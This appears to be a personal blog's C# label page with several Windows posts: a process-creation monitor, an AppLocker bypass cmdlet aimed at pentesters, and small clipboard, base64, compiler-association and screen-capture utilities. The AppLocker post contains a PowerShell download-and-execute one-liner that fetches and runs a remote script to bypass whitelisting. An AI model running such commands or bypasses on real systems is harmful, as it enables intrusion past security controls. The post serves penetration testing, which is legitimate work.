Showing posts with label C#. Show all posts
Showing posts with label C#. Show all posts

Monday, August 29, 2016

Process Monitoring for the Curious and Paranoid

It's been months since I had time for any of this, but I've been thinking for a long time about what I would discover if I were to monitor process creation with some sort of balloon notification. Between coming to bed late one night, some scraps of time here and there to document it, and a day home to polish it off while my sick daughter naps, here's a useful tool. I want to emphasize, it's hacky, but for a busy father's casual/opportunistic research, it's enough to play jazz.

Objective

I would like to expediently answer a few questions, including:
  • Is a new process the reason why my mouse pointer changed to the wait icon?
  • Was a new process responsible for my computer slowing down?
  • How often do new processes start, anyway?
  • What are some commonly executed processes that I haven't noticed yet?
  • Does this process run any sub-processes?
  • Is there any process associated with that pop-up, or is it an already-running process?
Poring over my event logs is the wrong answer because eventvwr is slow to pop up and navigate, so when I am experiencing slowness, it doesn't allow me to get up-to-the-moment answers. Also, it can be tedious and time consuming to go back and find the right event, and my boss doesn't pay me to stare at event logs. And then how do I know that this event occurred at the same time as the phenomenon I'm observing?

What I want is a way to casually take note of interesting process creation events throughout the day without really spending time on it.

Alternative Solutions

I've had a few options rolling around in my head for a while:
  • Instance creation event query on Win32_Process creation - Around 2005 I experimented with this and found that it cannot catch short-lived processes because they are created and destroyed between polling intervals which must last, at minimum, one second.
  • Win32_ProcessTrace - I started out with this, but alas, they do not contain full image name information, so I needed to query the OS for further information, and again, short-lived processes result in information loss.
  • Monitoring event logs - Event ID 4688 provides image names, but advanced configuration is required to obtain full command lines. Alternatively, SysInternals' Sysmon logs this information by default. WMI or other methods could be used to notify on event creation.
  • The Windows kernel exports PsSetCreateProcessNotifyRoutineEx, which provides access to a convenient PS_CREATE_INFO structure containing the full image name and command line. Alas, this requires either purchasing and protecting an expensive driver signing certificate, or leaving a kernel code execution vulnerability unpatched so as to inject a driver as described in the whitepaper I published in February.

Implementation

Unfortunately, mucking with drivers is not lazy enough for me. Since short-lived processes are important (they are commonly used as part of post-exploitation / recon), a Win32_Process instance creation query won't work. For ease of use, I've created a first draft solution by Frankensteining two C# StackOverflow answers together to use systray balloon notifications with WMI's Win32_ProcessTrace. I put this on the Internet so I could compile it and use it to see what was going on with my work computer.

Here's the gist of it

It's lazy, but for casual/opportunistic research, it's enough to play jazz. It doesn't capture command-line arguments and doesn't always capture the full image name, because it just uses Win32_ProcessTrace and then the .NET System.Diagnostics classes to get process information after the fact.

Alas, it bothers me not to have full image names or command-line arguments. The best source of information I know of in userspace is event logs, but I had trouble getting the info I needed on advanced logging configuration for my Windows 8.1 box, I just installed Sysmon. Now what?

Another gist

As it turns out, it is necessary to modify the registry and restart the Windows Management Instrumentation service (and its dependent services) to make this work. I added a Microsoft-Windows-Sysmon/Operational key to HKLM\SYSTEM\CurrentControlSet\Services\EventLog and restarted the winmgmt service, and it all came together.

This gist has a detailed console view along with the systray notification to prevent me from having to necessarily open eventvwr to see more details. Here's how it looks:


Observations

Here are a few startling events and associated discoveries sure to send a chill down your spine, all from tracking down process activity during my journey:
  • netsh.exe just ran. Is this some post-exploitation alteration of my firewall rules? No, a certain VPN client executes netsh.exe to get its work done. This was not the only software I caught doing that.
  • Windows Remote Assistance COM Server (raserver.exe) executed and terminated immediately. What interfaces does this provide? Could this be post-exploitation enabling of remote assistance for future access? No. It's a scheduled task that triggers upon group policy updates so remote assistance knows to update its configuration.
  • reg.exe just got run by cmd.exe. Holy schnikes, now I'm truly pwned. Is the parent process a backdoor executing persistence or other post-exploitation commands? Nope. It's just some endpoint management software that IT confirms they deploy and manage.
  • Added 9/7/16: Heart rate increases as I read C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:525568 WinX:0 WinY:0 IEFrame:0000000000000000. Then I remember I just closed an IE in-private window. Take a look at the parent process command line and see: "C:\Program Files\Internet Explorer\IEXPLORE.EXE" -private. WHEW!

Value

So, as you can see, sometimes situational awareness is not all it's cracked up to be! As most DFIR people and hunters are aware, there is plenty of noise just sitting there waiting to alarm you.

Even so, I think this tool could be useful for noticing anomalous process observables such as:

This tool can increase your awareness of what applications are responsible for certain behaviors, such as the Get Windows 10 user prompts that everybody loved so much. It can also raise your awareness of cases where security policies do not appear to be doing their job, such as application whitelisting. If you're a paranoid or curious power user, this may all be useful to you. In case it is, here are those gists again:
If I polish this up into something nicer, I'll try to update this article with the link.

Friday, June 26, 2015

AppLocker, SchmappLocker

In this article, I introduce a PowerShell cmdlet called Invoke-SchmappLocker to bypass AppLocker.

One of the things organizations can do to make it more difficult to run malware on their systems is to enforce application whitelisting. High-end editions (Enterprise and Ultimate) of Microsoft's modern operating systems provide AppLocker for this purpose.

If you've got Enterprise or Ultimate, you should create and enable its default policies along with User Account Control (UAC), and also consider testing and applying the optional KB2532445 hotfix. Dovetail these two mitigations like so, and you will raise the bar to entry for post-exploitation: UAC will generally notify you when software attempts to write to directories like Program Files or system32, and AppLocker will interrupt malware that runs out of AppData or other such folders.


The reason it is important to apply the KB2532445 hotfix I mentioned above is that the Windows APIs permit applications to load software in spite of AppLocker execution policies if they explicitly ask to do so. Why would this be? Because Windows assumes that software already running on your system should be trusted. If you don't agree with this assumption, Microsoft will happily provide you with a tinfoil hat (in the form of the KB2532445 hotfix), but you have to ask for it - it is not a critical or recommended hotfix.

I've written a marginal shellcode exploit for this "vulnerability" (it's actually just a feature), but with no particular delivery mechanism and no time invested in circumventing modern mitigations such as Address Space Layout Randomization (ASLR), it was kind of lame. A few authors have already written about how to use Microsoft Office macros to exploit this. But recently, a colleague gave me cause to consider another practical delivery mechanism for this exploit: PowerShell.

So, for those pentesters who need to drive the point home that deploying AppLocker without KB2532445 is like eating Oreos without milk, I present: Invoke-SchmappLocker.ps1.

The basis of this "exploit" is using the PowerShell Add-Type cmdlet to compile a .NET Framework DLL in memory that uses interop services to call the CreateRestrictedToken API providing the SANDBOX_INERT flag, and then calling the CreateProcessAsUser API with that token in order to walk all over AppLocker. I learned this was possible by searching for "PowerShell PInvoke" and reading this TechNet article.

So, let's try it. You can check if your target is going to allow you to do this by running:

wmic.exe qfe list | findstr.exe 2532445

If there is no output, you're good to go.

I like the carnal0wnage method of using powershell to download and execute the cmdlet, so I created a tinyurl for my script in order to conveniently emulate that:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/SchmappLocker'); Invoke-SchmappLocker .\hello.exe" 

Below is a command prompt in which I attempt to run hello.exe twice. The first time, it is blocked by AppLocker, and the second time it executes without issue because I use Invoke-SchmappLocker.


PowerShell prints the return value from Invoke-SchmappLocker, which is zero if it works. I've included debug code in the .NET class, so if CreateProcessAsUser fails with, say, error 3, then you can figure out what the heck is going on. If you didn't know, you can look up the meaning of Win32 API error codes 1-128 (and possibly others) with NET.EXE HELPMSG. To wit:

C:\Users\bamf>net.exe helpmsg 3

The system cannot find the path specified.


C:\Users\bamf>

If you get a "cannot find" error, you probably need to provide the full path to your executable. When invoking this directly within PowerShell, you may even need to specify the full path if the binary is in the same directory as you are. I don't know why this is. Invoke-SchmappLocker also doesn't permit you to provide arguments, but if you hack on the .NET code in it, you can get around that.

In case you missed the link above, Invoke-SchmappLocker.ps1 can be had here:

https://github.com/strictlymike/Invoke-SchmappLocker/

Happy hackin' ;-)

Sunday, March 29, 2015

B64

If you do web application work or malware analysis, you're bound to run into base64-encoded data.  For debugging purposes, it can be useful to decode (and encode) this data.  Linux has a utility named base64 for such things.  Windows does not, but the .NET System.Text namespace contains at least two relevant functions:

Convert.ToBase64String(byte []);
Convert.FromBase64String(string);

With not much work, you can create a quick utility like the base64 utility in Linux, but for Windows.  You can also use the .NET clipboard APIs to make the utility capable of conveniently translating data directly within the clipboard.

Featured here is a quickie utility for working with base64 encoding in various formats (command-line arguments, standard input/output, and clipboard).

The utility has issues encoding and decoding itself because it uses ReadLine() and doesn't read the entire input stream.  Perhaps using OpenStandardInput().Read(...) would alleviate this.  In any case, the example is provided as-is.

Monday, March 16, 2015

Sniffing Paste

Copying from a web page and pasting into a Word document will usually copy not only the data but also the yucky web page formatting.  Most times when I paste data, I just want the data, not the formatting.  For some time I've been using a trick to get around this, using applications that are unaware of formatting as a clipboard filter.  For example, pasting into the Windows Run dialog (Ctrl+C, Win+R, Ctrl+V, Ctrl+A, Ctrl+C, Esc, Alt+Tab, Ctrl+V), or into Notepad for larger buffers.  These tricks do get rid of the formatting, but they are frickin' tedious.  Some apps do have a "Paste Special" option that I could use instead, often accessible with Ctrl+Shift+V.  But, some don't (Word 2007, I'm looking at you).

Word to your Mother

So I wrote a quick and dirty tool to take care of that problem, with MS Word, and with anything else.  I call it StripClip, and all it does is go get the contents of the clipboard and put them back again as plain text.  Here's an example, where the first paragraph was pasted directly (see the formatting?) and the second was filtered through stripclip:


How?

Simple.  Just scrape the code sample from MSDN and you're off:

 1 // Adapted from:
 2 // https://msdn.microsoft.com/en-us/library/kz40084e%28v=vs.110%29.aspx
 3 using System;
 4 using System.Windows.Forms;
 5 
 6 class Unformat
 7 {
 8     [STAThreadAttribute]
 9     static public void Main()
10     {
11         try
12         {
13             StripClipFormatting();
14         } catch (Exception) { }
15     }
16 
17     static public void StripClipFormatting()
18     {
19         String text = Clipboard.GetText(TextDataFormat.Text);
20         Clipboard.SetText(text, TextDataFormat.Text);
21     }
22 }

(Also available here)

Shortcutting

To make this convenient, build a copy of it using the C# compiler and stick a shortcut to the resulting executable on your desktop, taking care to set up a shortcut key for the shortcut, as follows:


I favor Ctrl+Shift+C, because it's mnemonically close to Ctrl+C (copy).  But you can do whatever you want.  Enjoy!

Sunday, January 18, 2015

This One Weird Trick the Visual Studio Team Doesn't Want You to Know!

I find it fascinating that most Windows boxes (these days, I can almost say all of them) have CLR compilers sitting around on their hard drives.  This would make it possible for people to experiment with C# and VB.NET without downloading squat...  But Microsoft forgot to do one thing: set up some file associations.  So this is a write-up on how to set them up in a quick and dirty fashion on any computer so that you can experiment with C# and VB.NET without having to download Visual Studio.

I don't like Visual Studio anyway, probably because I don't work on enterprise stuff.  I shamelessly admit that my codebase is a collection of cheap hacks, and my goal is to be able to crack open an editor, vomit out fifty or a thousand lines of code, execute my tests, and get on with my day.  I also get a smug sense of satisfaction and independence from eschewing an IDE, kind of like choosing to drive a manual transmission car.  (Why don't I use Linux, then?  Quiet, you.  It's because of software requirements.)

So, with no further ado, I present:

Visual Stu-DIY-o

For the impatient, here is the quick and dirty TL;DR:

assoc .cs=CSharpSourceFile
ftype CSharpSourceFile=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe %1
reg add hkcr\CSharpSourceFile\Shell\edit\command /ve /d "%WINDIR%\System32\notepad.exe %1"

But your .NET compiler might not be located there, or your code warnings and errors may zip by and disappear, or your executable may not get built, or you may have wanted to program VB.NET, et cetera.  If you care about such things, then go through the exercise of locating your compiler, creating a friendly compiler script, and associating that with your source files.  Read on for more.

Find your .NET compiler of choice

You're really just confirming what version you have.  You're doing this because you want to be sure the files exist before you copy and paste the script below.  Fortunately, this is easy, because it's in your path:

  1. Hit Win+R (to get the run dialog)
  2. Type Microsoft.NET
  3. Leap of faith: press Enter
  4. Browse to the Framework\v4.0.30319 directory
  5. Note the absolute path to csc.exe (hint: hit ALT+D, hit End, finish off that directory name with a backslash, and start typing csc, and it will let you auto-complete the path in the address bar; copy this address for later).

A little note: I use the Framework (and not Framework64) directory because I want my MSIL to run in 32- and 64-bit environments.  For my normal projects, I use .NET version 4.0, and for software that must be deployed to mixed and potentially un-maintained platforms (if I told you why, I'd have to kill you), I target .NET 2.0.  Lastly, I use C#, but you don't have to.  At this point, if you want to locate vbc.exe instead (That's the VB.NET Compiler), go ahead and replace csc with vbc.  I won't judge you.  Just remember to actually replace what I put in the script below with the path to vbc.

At this point, we could set the file association directly with the compiler, as in the "TL;DR" section above, but if you double-click your .cs (or .vb) files, and your source code has warnings or errors, a mysterious black box will appear and disappear before you have a chance to review and fix them.  That's why you're going to bother with the next step:

Write a quickie script

Choose a place where this script will live.  Make a "util" or "bin" or "scripts" directory somewhere in your user profile if you don't already have one.  Open Notepad, copy and paste what is below (replace the path to csc if you are targeting a different .NET version, architecture, compiler, etc.), and save it as something.  I chose buildcs4.cmd.  In the Save As dialog, under "Save as type", don't forget to select "All Files (*.*)" so that it does not "helpfully" append the .TXT file extension for you, thus neutering your command script.  Here's my version:

@ECHO OFF
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe %*
PAUSE

The PAUSE command is there so you can see the warnings before the script closes.  You can't use an IF ERRORLEVEL command to pause for warnings, because the compiler only returns 1 or greater if there are errors, not if there are warnings, so that is why I include an unconditional PAUSE.  %* tells the command interpreter to pass along all the arguments from the command line.  This is how the filename you double-click will be passed to the C# compiler (or VB.NET compiler, if that's your predilection).

Finally, make the file association

Open an administrative command prompt and invoke these three incantations:

assoc .cs=CSharpSourceFile
ftype CSharpSourceFile=%USERPROFILE%\path\to\buildcs4.cmd %1
reg add hkcr\CSharpSourceFile\Shell\edit\command /ve /d "%WINDIR%\System32\notepad.exe %1"

These define a filetype, set a file association, and add an "Edit" context menu command, respectively.  For more background on all that, type ASSOC /?, FTYPE /?, and REG /? on the command-line.

Taking it for a Spin

If you want a test, here's a nice C# sample you can paste into notepad.  I think the traditional hello-world example is pretty boring, so here's something to spice up someone's life:

using System;
using System.Windows.Forms;

class mbox
{
    static public void Main()
    {
        MessageBox.Show(
            "Delete C:\\ - are you sure?",
            "Confirmation",
            MessageBoxButtons.OK,
            MessageBoxIcon.Warning
           );
    }
}

Now save that as hello.cs, and double-click it to compile.  Run the resulting hello.exe to see the result.



Right-click hello.cs and choose Edit when you want to mess about some more.  Aaaaaand, we're done.

Tuesday, December 30, 2014

I'd Cap That

A buddy suggested I do a Vim how-to.  The only problem I have is that, on Windows, I don't have an animated window capture utility to provide proof of the power of this programmer's editor.  So, in preparation, I decided to see if I could build one.  Here's how.

Google-Fu

Darn skippy I copied all of this -- and in just three queries:


Thank you, information super-highway. Now, on to what I found...

Copy-Pasta

The relevant pages I found were:


I reviewed the code at developerfusion.com, found it to be straightforward, and incorporated it into a C# program.  Then I wrote this code to go with it:

 public class Cap
 {
  // http://www.pinvoke.net/default.aspx/user32.findwindow
  // Find window by Caption only. Note you must pass IntPtr.Zero as the first parameter.
  [DllImport("user32.dll", EntryPoint="FindWindow", SetLastError = true)]
  static public extern IntPtr FindWindowByCaption(IntPtr ZeroOnly, string lpWindowName);

  static public int Main(string [] args)
  {
   if (args.Length != 3)
   {
    Console.WriteLine("Usage: cap windowtitle gifbasename delayms");
    return 1;
   }

   IntPtr hWnd = FindWindowByCaption(IntPtr.Zero, args[0]);

   if (hWnd == IntPtr.Zero)
   {
    Console.WriteLine("No window by the title - {0}", args[0]);
    return 1;
   }

   Console.WriteLine("Capturing...");

   // stackoverflow.com/questions/1163761/capture-screenshot-of-active-window
   ScreenCapture sc = new ScreenCapture();

   int i = 0;
   StringBuilder sb = new StringBuilder();

   while (true)
   {
    sb.Clear();
    sb.AppendFormat("{0}{1}.gif", args[1], i.ToString("D8"));
    sc.CaptureWindowToFile(hWnd, sb.ToString(), ImageFormat.Gif);
    Thread.Sleep(Convert.ToInt32(args[2]));
    i++;
   }

   return 0;
  }
 }

I saved the 171-line file as screenshot.cs, and then wrote a compiler script:

@ECHO OFF
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe *.cs
PAUSE

Then, I double-clicked that, sifted through some warnings, and came up with an executable.

Next, I built a script to use ImageMagick's convert.exe to stitch those gifs into an animation:

@ECHO OFF

IF "%3" == "" GOTO Usage

:Start
 convert -loop 0 -delay %3 -resize %4 %1 %2
 GOTO :EOF

:Usage
 ECHO Usage: %~nx0 fileswildcard outfile dly reduce%%
 ECHO.
 ECHO Note: fileswildcard ought not match outfile, else: Inception!
 ECHO Note: dly in units of msec / 10
 GOTO :EOF

I saved that as makegif.cmd.  Finally, I decided to test it:


Now I'm ready to do that Vim demo.  Tomorrow, that is.

'nite ;-)